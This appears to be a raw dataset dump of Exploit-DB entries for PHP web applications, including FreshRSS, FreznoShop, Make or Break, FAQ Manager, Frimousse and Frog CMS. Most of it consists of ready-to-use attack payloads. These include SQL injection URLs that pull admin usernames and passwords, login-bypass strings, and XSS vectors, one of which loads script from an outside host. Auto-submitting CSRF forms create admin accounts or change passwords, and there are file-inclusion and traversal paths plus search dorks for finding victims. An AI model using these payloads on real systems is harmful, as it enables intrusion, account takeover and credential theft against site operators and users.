deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45954
Description: FreshRSS 1.11.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-12-04
Author: Netsparker

Exploit:
Multiple Cross-Site Scripting Vulnerabilities in FreshRSS 1.11.1

Information
--------------------

Advisory by Netsparker
Name: Multiple Cross-Site Scripting Vulnerabilities in FreshRSS
Affected Software: FreshRSS
Affected Versions: 1.11.1
Homepage: https://freshrss.org/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID : CVE-2018-19782
CVSS Score (3.0): 6.3
Netsparker Advisory Reference: NS-18-024

Technical Details
--------------------

Blind Cross-site Scripting

URL  : http://ns.app:8085/i/?c=auth&a='"--></style></scRipt><scRipt src="//4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho.r87.me"></scRipt>  Parameter Name : a
Parameter Type  : GET
Attack Pattern  : %27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt+src%3d%22%2f%2f4cipl0hyi5btaxbj3ovzc7b6e6eckgescau78dxgsho%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e

Stored Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=error  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : '"--></style></scRipt><scRipt>netsparker(0x00139F)</scRipt>  

Cross-site Scripting

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?c=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001DCF)%3e&a=actualize&id=-1  
Parameter Name  : c
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001DCF)%3e  

URL  : http://ns.app:8085/i/?c=error  
Proof URL  : http://ns.app:8085/i/?c=error  
Injection URL  : http://ns.app:8085/i/?a=%3ciMg%20src%3dN%20onerror%3dnetsparker(0x001F6B)%3e&get=s&order=ASC  
Parameter Name  : a
Parameter Type  : GET
Attack Pattern  : %3ciMg+src%3dN+onerror%3dnetsparker(0x001F6B)%3e  

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

12th November 2018- First Contact
28th November 2018 - Vendor Fixed
3rd December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.
Exploit-DB #23519
Description: FreznoShop 1.2.3/1.3 - Search Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-04
Author: David S. Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9359/info

FreznoShop is prone to a cross-site scripting vulnerability. Remote attackers may create malicious links to the software that include hostile HTML and script code. If such a link was followed by a victim user, the attacker-supplied code would be rendered in the security context of the site hosting the software.

This could be exploited to steal cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/shop/search.php?search=%3Cscript%3Ealert(document.domain);%3C/script%3E
Exploit-DB #8415
Description: FreznoShop 1.3.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-13
Author: NoGe

Exploit:
======================================================================================


  [o] FreznoShop 1.3.0 SQL Injection Vulnerability

       Software : FreznoShop version 1.3.0
       Vendor   : http://sourceforge.net/projects/freznoshop/
       Download : http://sourceforge.net/project/platformdownload.php?group_id=86090
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


======================================================================================


  [o] Vulnerable file

       product_details.php



  [o] Exploit

       http://localhost/[path]/product_details.php?id=[SQL}
		product_details.php?id=-22%20union%20select%201,user(),version(),4,database(),6,7,8,9,10,11--
		product_details.php?id=-22%20union%20select%201,user(),version(),4,database(),6,7,8,9,10,11,12--



  [o] Dork

       "Powered by FreznoShop"


======================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3
       H312Y yooogy mousekill }^-^{ loqsa
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

        
======================================================================================

# milw0rm.com [2009-04-13]
Exploit-DB #3864
Description: Friendly 1.0d1 - 'friendly_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-06
Author: GoLd_M

Exploit:
# Friendly 1.0d1 (friendly_path)Remote File Inclusion Vulnerabilities
# D.Script: http://friendlyphp.org/downloads/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/_friendly/core/data/_load.php?friendly_path=shell
# Exploit:[Path]/_friendly/core/data/yaml.inc.php?friendly_path=shell
# Exploit:[Path]/_friendly/core/display/_load.php?friendly_path=shell
# Exploit:[Path]/_friendly/core/support/_load.php?friendly_path=shell
# Greetz To: Tryag-Team ....##

# milw0rm.com [2007-05-06]
Exploit-DB #22736
Description: Friends in War Make or Break 1.3 - Authentication Bypass
Type: webapps
Platform: php
Date: 2012-11-15
Author: d3b4g

Exploit:
# Exploit Title: friendsinwar Make or break V1.3 SQL Injection (authbypass) Vulnerability
# Date: 13.10.201
# Exploit Author: d3b4g 
# Vendor Homepage: http://www.friendsinwar.com
# Software Link: http://www.friendsinwar.com/script_demo/make_or_break/admin/login.php
# Tested on: Windows 7
# Blog: d3b4g.me
 
 
  
   
----------------------------------------------------------------------------------
     () SQL Injection :
 
 
     http://localhost/script_demo/make_or_break/admin/login.php
 
     + Use following information to bypass login.
 
  
      User:admin
      
      ' or ' 1=1
 
 
      
 
 
 
 
-end-
Exploit-DB #41002
Description: Friends in War Make or Break 1.7 - 'imgid' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-09
Author: v3n0m

Exploit:
# Exploit 	: Make or Break 1.7 (imgid) SQL Injection Vulnerability
# Author	: v3n0m
# Contact	: v3n0m[at]outlook[dot]com
# Date		: January, 09-2017 GMT +7:00 Jakarta, Indonesia
# Software	: Make or Break
# Version	: 1.7 Lower versions may also be affected
# License	: Free
# Download	: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=9
# Credits	: YOGYACARDERLINK, Dhea Fathin Karima & YOU !!

1. Description

An attacker can exploit this vulnerability to read from the database.
The parameter 'imgid' is vulnerable.


2. Proof of Concept

http://domain.tld/[path]/index.php?imgid=-9999+union+all+select+null,null,null,null,version(),null--

# Exploitation via SQLMap

Parameter: imgid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: imgid=1 AND 4688=4688
    Vector: AND [INFERENCE]

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: imgid=1 OR SLEEP(2)
    Vector: OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: imgid=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x746264586d[PII_REDACTED]7a5778446f756c6d696859494e[PII_REDACTED][PII_REDACTED]70676f4e544c59,0x71706b7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- WQyQ
    Vector:  UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL[GENERIC_SQL_COMMENT]


3. Security Risk

The security risk of the remote sql-injection web vulnerability in the Make or Break CMS is estimated as high.
Exploit-DB #42379
Description: Friends in War Make or Break 1.7 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-07-25
Author: Adam

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[x] Type: Admin login bypass via SQLi

[x] Vendor: http://software.friendsinwar.com/

[x] Script Name: Make or Break

[x] Script Version: 1.7

[x] Script DL: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=9

[x] Author: Anarchy Angel

[x] Mail: anarchy[dot]ang31@gmail[dot]com

[x] More info: https://aahideaway.blogspot.com/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Navigate to scripts admin login page and submit admin' or ''='-- for username

and it should give you access to the admin area. A quick release to
kick off DefCon festivities. See you there! Enjoy >:)
Exploit-DB #42383
Description: Friends in War Make or Break 1.7 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2017-07-26
Author: shinnai

Exploit:
Friends in War Make or Break 1.7 - Unauthenticated admin password change

Url: http://software.friendsinwar.com/
     http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=9

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
---------------------------------------------------------------------

PROOF OF CONCEPT:
<form method="post" action="http://localhost/mob/admin/pass_edit.php?username=1">
	<label>1) Choose a new password<br>2) Click on "Submit"<br>3) Login using "admin" and your new password<br><br></label>
	<input type="text" name="password" value="ChangeMe">
	<input type="text" name="submit" value="Edit+Password" hidden=true>
	<input type="submit" value="Submit">
</form>
Exploit-DB #42381
Description: Friends in War Make or Break 1.7 - SQL Injection
Type: webapps
Platform: php
Date: 2017-07-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Friends in War Make or Break 1.7 SQL Injection
# Dork: N/A
# Date: 26.07.2017
# Vendor : http://software.friendsinwar.com/
# Software: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=9
# Demo: http://localhost/[PATH]/
# Version: 1.7
# # # # #
# Author: Ihsan Sencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/useruploads.php?username=[SQL]
# -sie'+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+mob_admin--+-
# http://localhost/[PATH]/index.php?catid=SQL]
# 1+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+mob_admin--+-
# Etc..
# # # # #
Exploit-DB #38026
Description: Friends in War The FAQ Manager - 'question' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-16
Author: unsuprise

Exploit:
source: https://www.securityfocus.com/bid/56576/info

Friends in War The FAQ Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[path]/view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version%28%29,4,5--
Exploit-DB #22766
Description: friendsinwar FAQ Manager - 'view_faq.php?question' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-16
Author: unsuprise

Exploit:
# Exploit Title: friendsinwar FAQ Manager SQL Injection (URL) Vulnerability
# Date: 16.11 2012
# Exploit Author: unsuprise
# Vendor Homepage: http://www.friendsinwar.com
# Software Link:http://www.friendsinwar.com/script_demo/the_faq_manager/
# Tested on: Windows 7, Xampp
# Blog : unsuprise.org

Bug :
view_faq.php

line 3
$question = $_GET['question'];

line 5
$result = mysql_query("SELECT * FROM ".$prefix."faqs WHERE id = ".$question." ORDER BY id");

SQL Injection :
http://localhost/[path]/view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version%28%29,4,5--

Solving:
Validate $question (used addslashes() , strip_tags(), or your optimization code)
Validate $result , if data still exist or not..


Thanks to :
d3b4g,All indonesia Security.
Exploit-DB #22710
Description: friendsinwar FAQ Manager - SQL Injection / Authentication Bypass
Type: webapps
Platform: php
Date: 2012-11-14
Author: d3b4g

Exploit:
# Exploit Title: friendsinwar FAQ Manager SQL Injection (authbypass) Vulnerability
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage: http://www.friendsinwar.com
# Software Link: http://www.friendsinwar.com/script_demo/the_faq_manager/
# Tested on: Windows 7
# Blog: d3b4g.me


 
  
----------------------------------------------------------------------------------
     () SQL Injection :


     http://localhost/path/the_faq_manager/admin/login.php

     + Use following information to bypass login.

 
      User:admin
     
      ' or ' 1=1


      () Cross Site Scripting:

       XSS in loging form, insert follwing JS code to loging follwing. 

     '"()&%1<ScRiPt >prompt(952226)</ScRiPt>

 





-end-
Exploit-DB #4943
Description: Frimousse 0.0.2 - 'explorerdir.php' Local Directory Traversal
Type: webapps
Platform: php
Date: 2008-01-20
Author: Houssamix

Exploit:
software : Frimousse v.0.0.2
vendor : http://frimousseweb.free.fr/

[+] Introduction
Frimousse is a freeplayer interface web written in php language , works with apache & php & VLC ( media player ) .
it is used for manage the playlist and view it in interface web with VLC media player .
Frimousse runs on Linux and  Microsoft Windows.

 apache & php & VLC are integred in setup of version for windows and attched with php archive for linux :

Frimousse 0.0.2 setup.exe   > http://frimousseweb.free.fr/files/Frimousse_0.0.2_setup.exe
Frimousse 0.0.2 minimal.rar  > http://frimousseweb.free.fr/files/Frimousse_0.0.2_minimal_install.rar

[+] vulnerability discovered by : Houssamix  from H-T Team 
H-T Team = HouSSaMix + ToXiC350 + RxH

[+] vulnerable version : Frimousse v.0.0.2 

{ BUG } : directory traversals  :

   => xpl > http://127.0.0.1:8080/explorerdir.php?name=[directory]
   => ex > http://127.0.0.1:8080/explorerdir.php?name=C:
             http://127.0.0.1:8080/explorerdir.php?name=C:\Program Files

------------------------------------------------------------------------------------------
-  H-T Team  -- greetz : Cold-zero (hackteach.org) -Mahmood_ali (tryag.cc) - DDos & all hackers muslims   --
------------------------------------------------------------------------------------------

# milw0rm.com [2008-01-20]
Exploit-DB #33983
Description: Frog CMS 0.9.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-07-06
Author: Javid Hussain

Exploit:
Exploit Title: Arbitrary File Upload in Frog CMS 0.9.5
Date : 2014-07-07
Exploit Author : Javid Hussain
Vendor Homepage : http://www.madebyfrog.com

# Exploit-DB Note: All authenticated users can upload files. If the file 
# does not have execute permissions the CMS allows users to change them.
# No need to be authenticated to trigger uploaded files.

There is a possibility to upload arbitrary file in Frog CMS latest version
0.9.5

POC:

The vulnerability exist because of the filemanager plugin is not properly
verifying the extension of uploaded files.

Go to     http://localhost/frog_095/admin/?/plugin/file_manager/images

Upload an executable php file

Go to     http://localhost/Frog/frog_095/public/images/

for verification.
Exploit-DB #10414
Description: Frog CMS 0.9.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2009-12-13
Author: Milos Zivanovic

Exploit:
[-------------------------------------------------------------------------------------------------]
[   Title: Frog <= 0.9.5 XSRF Vulnerability (Change Admin Password)                               ]
[   Author: Milos Zivanovic                                                                       ]
[   Email: milosz.security@gmail.com<mailto:milosz.security@gmail.com>                                                              ]
[   Date: 13. December 2009.                                                                      ]
[-------------------------------------------------------------------------------------------------]

[-------------------------------------------------------------------------------------------------]
[   Application: Frog                                                                             ]
[   Version: 0.9.5                                                                                ]
[   Download: http://www.madebyfrog.com/download.html                                             ]
[   Vulnerability: Cross Site Request Forgery                                                     ]
[-------------------------------------------------------------------------------------------------]

With this exploit we can alter admins info such as email, password and some permissions.
NOTE: password must be more then 5 chars.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/frog/admin/?/user/edit/1" method="POST">
  <input type="text" name="user[name]" value="Administrator">
  <input type="text" name="user[email]" value="mail@email.com<mailto:mail@email.com>">
  <input type="text" name="user[username]" value="admin">
  <input type="password" name="user[password]" value="hacked">
  <input type="password" name="user[confirm]" value="hacked">
  <input type="hidden" name="user_permission[Administrator]" value="1">
  <input type="hidden" name="user_permission[Developer]" value="2">
  <input type="hidden" name="user_permission[Editor]" value="3">
  <input type="submit" name="commit" accesskey="s" value="Save">
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[----------------------------------------------EOF------------------------------------------------]
Exploit-DB #44383
Description: Frog CMS 0.9.5 - Cross-Site Request Forgery (Add User)
Type: webapps
Platform: php
Date: 2018-04-02
Author: Samrat Das

Exploit:
# Exploit Title:​​ Cross Site Request Forgery- Frog CMS
# Date: 31-03-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Version: 0.9.5
# CVE :  CVE-2018-8908
# Category: Webapp CMS


1. Description

The application source code is coded in a way which allows malicious HTML
request to be executed without veryifying source of request.This leads to
arbitary execution with malicous request which will lead to the creation of
a privileged user.

2. Proof of Concept

      Visit the application
      Visit the Add Users Page.
      Craft an html page with all the details for an admin user creation
and host it on a server
      Upon the link being clicked by a logged in admin user, immidiately,
another admin user will get created.

Exploit Code:

<html>
  <body>
    <form action="http://localhost/frog/admin/?/user/add" method="POST">
      <input type="hidden" name="user&#91;name&#93;" value="Test&#95;1" />
      <input type="hidden" name="user&#91;email&#93;" value="" />
      <input type="hidden" name="user&#91;username&#93;" value="test" />
      <input type="hidden" name="user&#91;password&#93;" value="test" />
      <input type="hidden" name="user&#91;confirm&#93;" value="test" />
      <input type="hidden"
name="user&#95;permission&#91;administrator&#93;" value="1" />
      <input type="hidden" name="commit" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


3. Solution:

Solution - Fix & Patch: The application code should be configured to
implement anti csrf token to filter malicous HTTP Requests.


4. Public Reference with POC and steps:

http://securitywarrior9.blogspot.in/2018/03/cross-site-request-forgery-frog-cms-cve.html

Thanks and Regards
Samrat
Exploit-DB #46067
Description: Frog CMS 0.9.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-01-02
Author: WangDudu

Exploit:
# Exploit Title: Frog CMS 0.9.5 - Cross-Site Scripting
# Date: 2018-12-25
# Exploit Author:WangDudu
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Software Link: https://github.com/philippe/FrogCMS
# Version:0.9.5
# CVE :CVE-2018-20448

# The parameter under /install/index.php is that the Database name has reflective XSS
# 1 The Database name , username and password must be correct
# 2 You can use the exp: 

<script>alert(1)</script>
Exploit-DB #14329
Description: Frog CMS 0.9.5 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-11
Author: 10n1z3d

Exploit:
<!---
    Title: Frog CMS 0.9.5 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Sun 11 Jul 2010 10:22:48 AM EEST
    Vendor: http://www.madebyfrog.com/
    Download: http://www.madebyfrog.com/public/download/files/frog_095.tar.gz
--->
    
-=[ CSRF PoC 1 - Create Admin User ]=-

    <html>
        <head>
            <title>Frog CMS 0.9.5 Multiple CSRF Vulnerabilities - Create Admin User</title>
        </head>
        <body onload="document.csrf.submit();">
                <!--- Edit these --->
            <form name="csrf" action="http://[domain]/admin/?/user/add" method="post">
                <input type="hidden" name="user[name]" value="root" />
                <input type="hidden" name="user[email]" value="root@root.com" />
                <input type="hidden" name="user[username]" value="root"/>
                <input type="hidden" name="user[password]" value="rootroot"/>
                <input type="hidden" name="user[confirm]" value="rootroot" />
                <!--- Do not edit below --->
                <input type="hidden" name="user_permission[administrator]" value="1" />
                <input type="hidden" name="user_permission[developer]" value="2" />
                <input type="hidden" name="user_permission[editor]" value="3" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Delete User ]=-
    
    <img src="http://[domain]/admin/?/user/delete/2"  alt="Do you see this?" />
    
-=[ CSRF PoC 3 - Delete Page ]=-
    
    <img src="http://[domain]/admin/?/page/delete/3"  alt="Do you see this?" />

-=[ CSRF PoC 4 - Delete Snippet ]=-
    
    <img src="http://[domain]/admin/?/snippet/delete/1"  alt="Do you see this?" />
    
-=[ CSRF PoC 5 - Delete Layout ]=-
    
    <img src="http://[domain]/admin/?/layout/delete/1"  alt="Do you see this?" />
    
-=[ CSRF PoC 6 - Delete File (works only if the File Manager plugin is installed) ]=-
    
    <img src="http://[domain]/admin/?/plugin/file_manager/delete/index.html"  alt="Do you see this?" />

-=[ CSRF PoC 7 - Logout The Administrator ]=-
    
    <img src="http://[domain]/admin/?/login/logout"  alt="Do you see this?" />
    
<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->